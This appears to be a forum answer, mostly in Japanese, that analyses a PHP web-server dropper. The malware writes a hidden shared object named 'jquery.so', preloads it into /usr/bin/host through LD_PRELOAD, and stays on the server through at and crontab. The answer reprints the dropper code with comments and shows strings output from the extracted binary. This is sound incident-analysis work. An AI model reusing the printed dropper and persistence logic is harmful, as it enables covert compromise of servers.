コードを分析してみました。これを見て、シェルスクリプト「1.sh」に関する私のコメントを確認してください。私の意見では、PHP スクリプトを削除するだけでは不十分です。
<?php
//probably the attacker wants to check that the script works.
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
//redefine file_put_contents if doesn't exist
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
//kill all running instances of host command. "host" command is used for DNS lookups among other things.
@system("killall -9 ".basename("/usr/bin/host"));
//32 bit
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
//64 bit
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
//decide on the architecture based on the value of max int
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
//the hex based on architecture. "so" probably contains a function() used by "host". The attacker is replacing it later before running "host" command.
$so = $arch == 32 ? $so32 : $so64;
//read 8 bytes from "host" binary file, and unpack it as an unsigned char.
$f = fopen("/usr/bin/host", "rb");
if ($f) {
//n is an array of unsigned chars. Each array item can be (0-255)
$n = unpack("C*", fread($f, 8));
//convert to ascii, and replace the 7th character in the string with a value obtained from "hosts" binary file.
//This vale from "hosts" will be specific to current server/environment - set during compilation/installation.
//NOTE: The contents of "so" string, will be written to a new file "jquery.so".
$so[7] = sprintf("%c", $n[8]);
fclose($f);
}
//the shared object
$n = file_put_contents("./jquery.so", $so);
//The shared object "jquery.so" uses an environment variable named "AU". It's more clear later.
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
//should give "host"
$HBN=basename("/usr/bin/host");
//current dir
$SCP=getcwd();
//Examining the following line, here's what it writes to 1.sh
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
/*
* #!/bin/sh
* cd '/path/to/1.sh'
* if [ -f './jquery.so' ];then
* killall -9 host;
* export AU='MYSERVER.COM/THE/REQUEST/URI' //this will be referenced in "jquery.so"
* export LD_PRELOAD=./jquery.so //load the shared object before executing "host" command. THIS IS THE CORE OF THE ATTACK. Load the attacker's shared object(which contains his function, lets call it "xyz") before executing "host" command.
* /usr/bin/host //execute. At that point, if "host" is making use of function "xyz", it would have been replaced by malicious "xyz" from "jquery.so" And since you don't know what the attacker function is actually doing, you should assume YOUR SYSTEM IS COMPROMISED.
* unset LD_PRELOAD
* crontab -l|grep -v '1\.sh'|grep -v crontab|crontab //not sure about this.
* fi
* rm 1.sh //remove
* exit 0
*/
@chmod("1.sh", 0777);
@system("at now -f 1.sh", $ret); //execute 1.sh. It will be deleted once it's executed as per the "rm" statement.
if ($ret == 0) {
//try for 5 seconds until the file is deleted (hence executed). If so, then all good.
for ($i = 0; $i < 5; $i++) {
if (! @file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
//another attempt to execute the file in case the above failed.
@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
//keep trying for 60 seconds until the file is deleted (as per the crontab setup.)
for ($i = 0; $i < 62; $i++) {
if (! @file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
//the last resort if the previous execute attempts didn't work.
@system("./1.sh");
@unlink("1.sh");
?>
もう少し情報があります。まず、このコードを使用して「.so」ファイルを生成できます。
<?php
//build the attack string (this contains the hex representation of the attacker complied/linked program)
$so32="\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00.....";
//print it. This will output the binary
echo $so32;
?>
//run
php hack.php > jquery.so
この時点で、攻撃者が "host" を実行する前にロードしたのと同じ共有オブジェクトがあります。「文字列」コマンドの使用:
$ strings ./jquery.so
Output:
write
unlink
pthread_mutex_lock
pthread_mutex_unlock
gettimeofday
free
realloc
strdup
read
getaddrinfo
freeaddrinfo
socket
setsockopt
connect
malloc
mmap
munmap
usleep
strcmp
dlclose
pthread_join
__errno_location
strncmp
sprintf
strcpy
time
vsnprintf
strcat
strstr
atoi
strchr
dlopen
dlsym
pthread_create
srandom
lseek
ftruncate
umask
setsid
chroot
_exit
signal
fork
dladdr
realpath
getpid
execl
wait
getsockname
getenv
geteuid
unsetenv
popen
fgets
fclose
QQRW
1c2#N
v[uq
M!k(q.%
jc[Sj
F,%s,%x
R,%d,%d,%d,%s,%s,
P,%u,%u,%u,%u,%u
POST %s HTTP/1.0
Host: %s
Pragma: 1337
Content-Length: %d
core
%s/%s
|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
/dev/null
%s/%c.%d
(null)
ROOT
LD_PRELOAD
/usr/bin/uname -a
/tmp
ご覧のとおり、彼のハックは、どこかで POST リクエストを実行するなど、多くの機能を使用しているようです。もちろん、上記からそれを理解することはできませんが、いくつかの手がかりが得られます。
これをさらに進めたい場合は、ELF 逆コンパイラを調べることができます。しかし、あなたが決定的な何かに到達できるとは思えません。私は専門家ではありませんが、通常とは異なるネットワーク アクティビティを監視し続けることをお勧めします。
「file」コマンドは、ファイルに関する情報を少し提供します。したがって、ELF デコンパイラです。
$ file ./jquery..so
Output:
./jquery.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped